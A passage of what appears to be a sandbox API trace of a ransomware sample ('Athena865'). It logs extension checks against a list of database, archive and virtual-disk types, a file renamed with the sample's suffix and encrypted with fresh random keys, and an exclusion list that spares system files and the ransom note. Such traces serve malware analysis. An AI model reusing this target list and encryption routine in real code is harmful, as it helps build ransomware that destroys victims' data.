(lpString="ba_") returned 3 [0035.789] lstrcmpiW (lpString1="LOG", lpString2="ba_") returned 1 [0035.789] lstrlenW (lpString="dbb") returned 3 [0035.789] lstrcmpiW (lpString1="LOG", lpString2="dbb") returned 1 [0035.789] lstrlenW (lpString="vmdk") returned 4 [0035.789] lstrcmpiW (lpString1=".LOG", lpString2="vmdk") returned -1 [0035.789] lstrlenW (lpString="rar") returned 3 [0035.789] lstrcmpiW (lpString1="LOG", lpString2="rar") returned -1 [0035.789] lstrlenW (lpString="zip") returned 3 [0035.789] lstrcmpiW (lpString1="LOG", lpString2="zip") returned -1 [0035.790] lstrlenW (lpString="tgz") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="tgz") returned -1 [0035.790] lstrlenW (lpString="vbox") returned 4 [0035.790] lstrcmpiW (lpString1=".LOG", lpString2="vbox") returned -1 [0035.790] lstrlenW (lpString="vdi") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="vdi") returned -1 [0035.790] lstrlenW (lpString="vhd") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="vhd") returned -1 [0035.790] lstrlenW (lpString="vhdx") returned 4 [0035.790] lstrcmpiW (lpString1=".LOG", lpString2="vhdx") returned -1 [0035.790] lstrlenW (lpString="avhd") returned 4 [0035.790] lstrcmpiW (lpString1=".LOG", lpString2="avhd") returned -1 [0035.790] lstrlenW (lpString="db") returned 2 [0035.790] lstrcmpiW (lpString1="OG", lpString2="db") returned 1 [0035.790] lstrlenW (lpString="db2") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="db2") returned 1 [0035.790] lstrlenW (lpString="db3") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="db3") returned 1 [0035.790] lstrlenW (lpString="dbf") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="dbf") returned 1 [0035.790] lstrlenW (lpString="mdf") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="mdf") returned -1 [0035.790] lstrlenW (lpString="mdb") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="mdb") returned -1 [0035.790] lstrlenW (lpString="sql") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="sql") returned -1 [0035.790] lstrlenW (lpString="sqlite") returned 6 [0035.790] lstrcmpiW (lpString1="AT.LOG", lpString2="sqlite") returned -1 [0035.790] lstrlenW (lpString="sqlite3") returned 7 [0035.790] lstrcmpiW (lpString1="DAT.LOG", lpString2="sqlite3") returned -1 [0035.790] lstrlenW (lpString="sqlitedb") returned 8 [0035.790] lstrcmpiW (lpString1=".DAT.LOG", lpString2="sqlitedb") returned -1 [0035.790] lstrlenW (lpString="xml") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="xml") returned -1 [0035.790] lstrlenW (lpString="$er") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="$er") returned 1 [0035.790] lstrlenW (lpString="4dd") returned 3 [0035.790] lstrcmpiW (lpString1="LOG", lpString2="4dd") returned 1 [0035.791] lstrlenW (lpString="4dl") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="4dl") returned 1 [0035.791] lstrlenW (lpString="^^^") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="^^^") returned 1 [0035.791] lstrlenW (lpString="abs") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="abs") returned 1 [0035.791] lstrlenW (lpString="abx") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="abx") returned 1 [0035.791] lstrlenW (lpString="accdb") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accdb") returned 1 [0035.791] lstrlenW (lpString="accdc") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accdc") returned 1 [0035.791] lstrlenW (lpString="accde") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accde") returned 1 [0035.791] lstrlenW (lpString="accdr") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accdr") returned 1 [0035.791] lstrlenW (lpString="accdt") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accdt") returned 1 [0035.791] lstrlenW (lpString="accdw") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accdw") returned 1 [0035.791] lstrlenW (lpString="accft") returned 5 [0035.791] lstrcmpiW (lpString1="T.LOG", lpString2="accft") returned 1 [0035.791] lstrlenW (lpString="adb") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="adb") returned 1 [0035.791] lstrlenW (lpString="adb") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="adb") returned 1 [0035.791] lstrlenW (lpString="ade") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="ade") returned 1 [0035.791] lstrlenW (lpString="adf") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="adf") returned 1 [0035.791] lstrlenW (lpString="adn") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="adn") returned 1 [0035.791] lstrlenW (lpString="adp") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="adp") returned 1 [0035.791] lstrlenW (lpString="alf") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="alf") returned 1 [0035.791] lstrlenW (lpString="ask") returned 3 [0035.791] lstrcmpiW (lpString1="LOG", lpString2="ask") returned 1 [0035.792] lstrlenW (lpString="btr") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="btr") returned 1 [0035.792] lstrlenW (lpString="cat") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="cat") returned 1 [0035.792] lstrlenW (lpString="cdb") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="cdb") returned 1 [0035.792] lstrlenW (lpString="ckp") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="ckp") returned 1 [0035.792] lstrlenW (lpString="cma") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="cma") returned 1 [0035.792] lstrlenW (lpString="cpd") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="cpd") returned 1 [0035.792] lstrlenW (lpString="dacpac") returned 6 [0035.792] lstrcmpiW (lpString1="AT.LOG", lpString2="dacpac") returned -1 [0035.792] lstrlenW (lpString="dad") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="dad") returned 1 [0035.792] lstrlenW (lpString="dadiagrams") returned 10 [0035.792] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="dadiagrams") returned 1 [0035.792] lstrlenW (lpString="daschema") returned 8 [0035.792] lstrcmpiW (lpString1=".DAT.LOG", lpString2="daschema") returned -1 [0035.792] lstrlenW (lpString="db-journal") returned 10 [0035.792] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="db-journal") returned 1 [0035.792] lstrlenW (lpString="db-shm") returned 6 [0035.792] lstrcmpiW (lpString1="AT.LOG", lpString2="db-shm") returned -1 [0035.792] lstrlenW (lpString="db-wal") returned 6 [0035.792] lstrcmpiW (lpString1="AT.LOG", lpString2="db-wal") returned -1 [0035.792] lstrlenW (lpString="dbc") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="dbc") returned 1 [0035.792] lstrlenW (lpString="dbs") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="dbs") returned 1 [0035.792] lstrlenW (lpString="dbt") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="dbt") returned 1 [0035.792] lstrlenW (lpString="dbv") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="dbv") returned 1 [0035.792] lstrlenW (lpString="dbx") returned 3 [0035.792] lstrcmpiW (lpString1="LOG", lpString2="dbx") returned 1 [0035.792] lstrlenW (lpString="dcb") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dcb") returned 1 [0035.793] lstrlenW (lpString="dct") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dct") returned 1 [0035.793] lstrlenW (lpString="dcx") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dcx") returned 1 [0035.793] lstrlenW (lpString="ddl") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="ddl") returned 1 [0035.793] lstrlenW (lpString="dlis") returned 4 [0035.793] lstrcmpiW (lpString1=".LOG", lpString2="dlis") returned -1 [0035.793] lstrlenW (lpString="dp1") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dp1") returned 1 [0035.793] lstrlenW (lpString="dqy") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dqy") returned 1 [0035.793] lstrlenW (lpString="dsk") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dsk") returned 1 [0035.793] lstrlenW (lpString="dsn") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dsn") returned 1 [0035.793] lstrlenW (lpString="dtsx") returned 4 [0035.793] lstrcmpiW (lpString1=".LOG", lpString2="dtsx") returned -1 [0035.793] lstrlenW (lpString="dxl") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="dxl") returned 1 [0035.793] lstrlenW (lpString="eco") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="eco") returned 1 [0035.793] lstrlenW (lpString="ecx") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="ecx") returned 1 [0035.793] lstrlenW (lpString="edb") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="edb") returned 1 [0035.793] lstrlenW (lpString="epim") returned 4 [0035.793] lstrcmpiW (lpString1=".LOG", lpString2="epim") returned -1 [0035.793] lstrlenW (lpString="fcd") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="fcd") returned 1 [0035.793] lstrlenW (lpString="fdb") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="fdb") returned 1 [0035.793] lstrlenW (lpString="fic") returned 3 [0035.793] lstrcmpiW (lpString1="LOG", lpString2="fic") returned 1 [0035.793] lstrlenW (lpString="flexolibrary") returned 12 [0035.793] lstrcmpiW (lpString1="USER.DAT.LOG", lpString2="flexolibrary") returned 1 [0035.793] lstrlenW (lpString="fm5") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fm5") returned 1 [0035.794] lstrlenW (lpString="fmp") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fmp") returned 1 [0035.794] lstrlenW (lpString="fmp12") returned 5 [0035.794] lstrcmpiW (lpString1="T.LOG", lpString2="fmp12") returned 1 [0035.794] lstrlenW (lpString="fmpsl") returned 5 [0035.794] lstrcmpiW (lpString1="T.LOG", lpString2="fmpsl") returned 1 [0035.794] lstrlenW (lpString="fol") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fol") returned 1 [0035.794] lstrlenW (lpString="fp3") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fp3") returned 1 [0035.794] lstrlenW (lpString="fp4") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fp4") returned 1 [0035.794] lstrlenW (lpString="fp5") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fp5") returned 1 [0035.794] lstrlenW (lpString="fp7") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fp7") returned 1 [0035.794] lstrlenW (lpString="fpt") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="fpt") returned 1 [0035.794] lstrlenW (lpString="frm") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="frm") returned 1 [0035.794] lstrlenW (lpString="gdb") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="gdb") returned 1 [0035.794] lstrlenW (lpString="gdb") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="gdb") returned 1 [0035.794] lstrlenW (lpString="grdb") returned 4 [0035.794] lstrcmpiW (lpString1=".LOG", lpString2="grdb") returned -1 [0035.794] lstrlenW (lpString="gwi") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="gwi") returned 1 [0035.794] lstrlenW (lpString="hdb") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="hdb") returned 1 [0035.794] lstrlenW (lpString="his") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="his") returned 1 [0035.794] lstrlenW (lpString="ib") returned 2 [0035.794] lstrcmpiW (lpString1="OG", lpString2="ib") returned 1 [0035.794] lstrlenW (lpString="idb") returned 3 [0035.794] lstrcmpiW (lpString1="LOG", lpString2="idb") returned 1 [0035.795] lstrlenW (lpString="ihx") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="ihx") returned 1 [0035.795] lstrlenW (lpString="itdb") returned 4 [0035.795] lstrcmpiW (lpString1=".LOG", lpString2="itdb") returned -1 [0035.795] lstrlenW (lpString="itw") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="itw") returned 1 [0035.795] lstrlenW (lpString="jet") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="jet") returned 1 [0035.795] lstrlenW (lpString="jtx") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="jtx") returned 1 [0035.795] lstrlenW (lpString="kdb") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="kdb") returned 1 [0035.795] lstrlenW (lpString="kexi") returned 4 [0035.795] lstrcmpiW (lpString1=".LOG", lpString2="kexi") returned -1 [0035.795] lstrlenW (lpString="kexic") returned 5 [0035.795] lstrcmpiW (lpString1="T.LOG", lpString2="kexic") returned 1 [0035.795] lstrlenW (lpString="kexis") returned 5 [0035.795] lstrcmpiW (lpString1="T.LOG", lpString2="kexis") returned 1 [0035.795] lstrlenW (lpString="lgc") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="lgc") returned 1 [0035.795] lstrlenW (lpString="lwx") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="lwx") returned -1 [0035.795] lstrlenW (lpString="maf") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="maf") returned -1 [0035.795] lstrlenW (lpString="maq") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="maq") returned -1 [0035.795] lstrlenW (lpString="mar") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="mar") returned -1 [0035.795] lstrlenW (lpString="marshal") returned 7 [0035.795] lstrcmpiW (lpString1="DAT.LOG", lpString2="marshal") returned -1 [0035.795] lstrlenW (lpString="mas") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="mas") returned -1 [0035.795] lstrlenW (lpString="mav") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="mav") returned -1 [0035.795] lstrlenW (lpString="maw") returned 3 [0035.795] lstrcmpiW (lpString1="LOG", lpString2="maw") returned -1 [0035.795] lstrlenW (lpString="mdbhtml") returned 7 [0035.796] lstrcmpiW (lpString1="DAT.LOG", lpString2="mdbhtml") returned -1 [0035.796] lstrlenW (lpString="mdn") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mdn") returned -1 [0035.796] lstrlenW (lpString="mdt") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mdt") returned -1 [0035.796] lstrlenW (lpString="mfd") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mfd") returned -1 [0035.796] lstrlenW (lpString="mpd") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mpd") returned -1 [0035.796] lstrlenW (lpString="mrg") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mrg") returned -1 [0035.796] lstrlenW (lpString="mud") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mud") returned -1 [0035.796] lstrlenW (lpString="mwb") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="mwb") returned -1 [0035.796] lstrlenW (lpString="myd") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="myd") returned -1 [0035.796] lstrlenW (lpString="ndf") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="ndf") returned -1 [0035.796] lstrlenW (lpString="nnt") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="nnt") returned -1 [0035.796] lstrlenW (lpString="nrmlib") returned 6 [0035.796] lstrcmpiW (lpString1="AT.LOG", lpString2="nrmlib") returned -1 [0035.796] lstrlenW (lpString="ns2") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="ns2") returned -1 [0035.796] lstrlenW (lpString="ns3") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="ns3") returned -1 [0035.796] lstrlenW (lpString="ns4") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="ns4") returned -1 [0035.796] lstrlenW (lpString="nsf") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="nsf") returned -1 [0035.796] lstrlenW (lpString="nv") returned 2 [0035.796] lstrcmpiW (lpString1="OG", lpString2="nv") returned 1 [0035.796] lstrlenW (lpString="nv2") returned 3 [0035.796] lstrcmpiW (lpString1="LOG", lpString2="nv2") returned -1 [0035.796] lstrlenW (lpString="nwdb") returned 4 [0035.797] lstrcmpiW (lpString1=".LOG", lpString2="nwdb") returned -1 [0035.797] lstrlenW (lpString="nyf") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="nyf") returned -1 [0035.797] lstrlenW (lpString="odb") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="odb") returned -1 [0035.797] lstrlenW (lpString="odb") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="odb") returned -1 [0035.797] lstrlenW (lpString="oqy") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="oqy") returned -1 [0035.797] lstrlenW (lpString="ora") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="ora") returned -1 [0035.797] lstrlenW (lpString="orx") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="orx") returned -1 [0035.797] lstrlenW (lpString="owc") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="owc") returned -1 [0035.797] lstrlenW (lpString="p96") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="p96") returned -1 [0035.797] lstrlenW (lpString="p97") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="p97") returned -1 [0035.797] lstrlenW (lpString="pan") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="pan") returned -1 [0035.797] lstrlenW (lpString="pdb") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="pdb") returned -1 [0035.797] lstrlenW (lpString="pdm") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="pdm") returned -1 [0035.797] lstrlenW (lpString="pnz") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="pnz") returned -1 [0035.797] lstrlenW (lpString="qry") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="qry") returned -1 [0035.797] lstrlenW (lpString="qvd") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="qvd") returned -1 [0035.797] lstrlenW (lpString="rbf") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="rbf") returned -1 [0035.797] lstrlenW (lpString="rctd") returned 4 [0035.797] lstrcmpiW (lpString1=".LOG", lpString2="rctd") returned -1 [0035.797] lstrlenW (lpString="rod") returned 3 [0035.797] lstrcmpiW (lpString1="LOG", lpString2="rod") returned -1 [0035.798] lstrlenW (lpString="rodx") returned 4 [0035.798] lstrcmpiW (lpString1=".LOG", lpString2="rodx") returned -1 [0035.798] lstrlenW (lpString="rpd") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="rpd") returned -1 [0035.798] lstrlenW (lpString="rsd") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="rsd") returned -1 [0035.798] lstrlenW (lpString="sas7bdat") returned 8 [0035.798] lstrcmpiW (lpString1=".DAT.LOG", lpString2="sas7bdat") returned -1 [0035.798] lstrlenW (lpString="sbf") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="sbf") returned -1 [0035.798] lstrlenW (lpString="scx") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="scx") returned -1 [0035.798] lstrlenW (lpString="sdb") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="sdb") returned -1 [0035.798] lstrlenW (lpString="sdc") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="sdc") returned -1 [0035.798] lstrlenW (lpString="sdf") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="sdf") returned -1 [0035.798] lstrlenW (lpString="sis") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="sis") returned -1 [0035.798] lstrlenW (lpString="spq") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="spq") returned -1 [0035.798] lstrlenW (lpString="te") returned 2 [0035.798] lstrcmpiW (lpString1="OG", lpString2="te") returned -1 [0035.798] lstrlenW (lpString="teacher") returned 7 [0035.798] lstrcmpiW (lpString1="DAT.LOG", lpString2="teacher") returned -1 [0035.798] lstrlenW (lpString="tmd") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="tmd") returned -1 [0035.798] lstrlenW (lpString="tps") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="tps") returned -1 [0035.798] lstrlenW (lpString="trc") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="trc") returned -1 [0035.798] lstrlenW (lpString="trc") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="trc") returned -1 [0035.798] lstrlenW (lpString="trm") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="trm") returned -1 [0035.798] lstrlenW (lpString="udb") returned 3 [0035.798] lstrcmpiW (lpString1="LOG", lpString2="udb") returned -1 [0035.799] lstrlenW (lpString="udl") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="udl") returned -1 [0035.799] lstrlenW (lpString="usr") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="usr") returned -1 [0035.799] lstrlenW (lpString="v12") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="v12") returned -1 [0035.799] lstrlenW (lpString="vis") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="vis") returned -1 [0035.799] lstrlenW (lpString="vpd") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="vpd") returned -1 [0035.799] lstrlenW (lpString="vvv") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="vvv") returned -1 [0035.799] lstrlenW (lpString="wdb") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="wdb") returned -1 [0035.799] lstrlenW (lpString="wmdb") returned 4 [0035.799] lstrcmpiW (lpString1=".LOG", lpString2="wmdb") returned -1 [0035.799] lstrlenW (lpString="wrk") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="wrk") returned -1 [0035.799] lstrlenW (lpString="xdb") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="xdb") returned -1 [0035.799] lstrlenW (lpString="xld") returned 3 [0035.799] lstrcmpiW (lpString1="LOG", lpString2="xld") returned -1 [0035.799] lstrlenW (lpString="xmlff") returned 5 [0035.799] lstrcmpiW (lpString1="T.LOG", lpString2="xmlff") returned -1 [0035.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG.Athena865") returned 58 [0035.799] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log.athena865"), dwFlags=0x1) returned 1 [0035.800] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT.LOG.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat.log.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.800] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1024) returned 1 [0035.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52cfd0 [0035.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.801] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.801] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.801] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.802] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x700, lpName=0x0) returned 0x154 [0035.805] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x700) returned 0x100000 [0035.808] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.809] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.809] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0035.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0035.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0035.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52dfb8 [0035.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.809] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0035.809] CloseHandle (hObject=0x154) returned 1 [0035.809] CloseHandle (hObject=0x17c) returned 1 [0035.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0035.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.811] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="windows") returned -1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="bootmgr") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="temp") returned -1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="pagefile.sys") returned -1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="boot") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ids.txt") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ntuser.dat") returned 1 [0035.811] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", 